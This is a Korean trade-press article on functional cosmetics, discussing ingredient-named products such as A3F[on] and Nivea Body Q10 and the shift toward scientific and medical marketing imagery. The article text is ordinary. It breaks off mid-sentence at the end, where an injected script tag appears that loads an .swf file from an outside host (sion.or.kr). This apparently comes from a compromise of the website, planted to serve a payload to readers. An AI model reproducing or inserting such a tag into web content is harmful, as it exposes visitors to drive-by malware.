성분이 곧 브랜드명인 제품도 등장…과학적 마케팅 인기 기능성 화장품이 처음으로 공식승인을 받기 시작한 2001년의 말머리에 가면 과연 몇 가지의 기능성화장품이 탄생돼 있고, 그 중 히트를 기록하는 제품에는 어떠한 것들이 있을런지가 최근 ‘기능성’에 모든 시선이 집중되어 있는 업계의 관심사이다. 그리고 그 히트제품중 한자리를 당당히 꿰차기를 바라고 있는 다섯 업체의 제품들이 히트냐 아니냐의 갈림길에서 히트를 예감하며 소비자들의 심판을 기다리고 있다. 시대적 흐름에 걸맞게 올해의 히트를 예감하는 품목들은 역시 이제는 너무도 당연하다시피 되어버린 듯 자사가 최고라고 내세우는 ‘기능’과 ‘신성분’을 하나씩 갖추고 있다. 특히, 주목할만한 현상은 신성분에 의한 기능의 관심사가 높아진 만큼 제품을 하나 탄생시킬때 가장 많은 비중을 차지한다고 할 수 있는 ‘제품명’에 바로 그 성분명을 사용하는 경우가 속속 등장하고 있다는 것이다. 한국화장품이 최근 발매하며 발매식과 동시에 기능성화장품 공식 승인을 받은 ‘A3F[on]’와 니베아 서울의 ‘니베아 바디 Q10 퍼밍 로션’이 대표적인 예에 속한다. 식물성분과 비타민 위주로 일관됐던 기능성 성분에서 한 단계 진보한 피부성분세포이자 기능성 원료로 인정받은 아데노신의 ‘A’와, 피부보호, 정화, 개선의 3가지 주요기능을 나타내는 ‘3F’, 그리고 여기에 바르는 순간 바로 효과를 전달해 준다는 ‘on’의 복합적인 의미를 포함한 A3F[on]은 그 발음조차 어떻게 읽어야 할지 모를 화학원소의 이름과 같은 브랜드명으로 제품의 과학적인 이미지를 배가시켜 준다. 노령층 대상 아닌 젊은층 타깃의 안티링클 제품 눈길 새로운 컨셉의 제품통한 시판시장 판로개척 기대 니베아 서울 역시 몸 전체의 모든 세포에서 에너지의 전환과 저장의 역할을 수행하는 유기체이자, 피부전환점인 25세 무렵부터 급속히 감소해 탄력저하를 일으키는 ‘코엔자임 Q10’성분을 제품명에 그대로 옮겨 놓았다. 이 제품은 특히, 얼굴로만 집중되고 있는 안티링클의 기능성 관심여부를 바디에까지 시선전환을 시켰다는 점에서 주목할만한 제품이다. 굳이 시너지효과를 위해 성분을 제품명에 도입하지는 않더라도 올 해 소비자들의 관심을 끌고자 하는 제품들은 모두 자신들만의 성분과 기술의 도입, 그리고 무엇보다 ‘과학’이라는 느낌이 물씬 풍기는 이미지를 보유하고 있다. 창업당시부터 회사명과 브랜드명을 함께 한 아로화인 화장품은 모두들 노화방지와 미백효과를 화두로 내세우는 데에 반해 ‘아로마테라피’라는 기능적 요소를 전 부문의 마케팅에 사용하고 있다. 그러나 시각, 후각 효과로 사람들의 피로와 스트레스를 해소시켜 준다는 이 제품의 컨셉 역시 과학적인 면을 배제할 수 없으며 더 나아가 의학적인 측면까지도 배후에 내세우고 있는 제품이다. 한국폴라도 동양의학과 관련한 사상을 도입한 ‘키스이’브랜드와 인체의 조성과 유사하다는 해수에서 추출한 마린 미네랄 성분을 앞세운 ‘아쿠아에스테’의 의·과학적 컨셉을 갖추고 있다. 이러한 현상은 우리나라보다 마케팅 패턴이 훨씬 앞서가는 수입 제품에도 별반 다르지 않게 나타난다. 로레알코리아에서 올 시판시장에서 히트를 예감하는 ‘플레니튜드 이드라후레쉬 젤-크림’또한 마찬가지로 ‘로레알 연구소의 최첨단 기술력’이 도입됐다는 문구 아래 올해의 세계적인 컨셉인 수분을 공급함으로써 젊은 여성의 피부를 탄탄하게 가꿔줄 채비를 갖추고 있는 것. 올 한해의 히트를 예감하며 각 업체들이 심혈을 기울인 연구 끝에 내 놓은 신제품들은 대부분 시판시장 공략을 목표로 전문점과 함께 커나갈 수 있는 마케팅 전략을 수립해 놓았다는것이 반가운 현상으로 다가온다. 이전까지와는 다른 새로운 컨셉의 제품들로 전문점은 새로운 시장을 개척할 수 있고, 업체는 이에 대한 지원을 아끼지 않음으로써 자사의 이미지도 세우고 매출 극대화도 꾀할 수 있기 때문이다. 21세기라는 이미지에 걸맞는 과학과 의학적인 이미지로 다가오는 신제품들은 CF에 있어서도 그러한 컨셉을 지속적으로 이어가고 있다. 예전처럼 얼굴만 예쁜 모델이 그야말로 모델처럼 나와서 자신의 아름다운 모습만 부각시키고 제품은 먼발치에 떨어뜨려 놓는 광고가 아니라 모델보다 성분이 더 부각되는 광고, 혹은 제품의 특성과 일치하는 효과를 보여주는데에 치중한 광고가 늘고 있는 것이다. 최근의 화장품 업계에는 임상실험, 연구소, 신성분, 신기술이라는 단어들이 새롭게 등장하며 기존의 대표적인 화장품의 미사여구였던 아름다움, 미인, 화사함, 고운피부 등의 단어들을 밀어내고 있다. 바야흐로 이제 과학과 의학이 제품과 마케팅에 ?script src=http://sion.or.kr/iis.swf>

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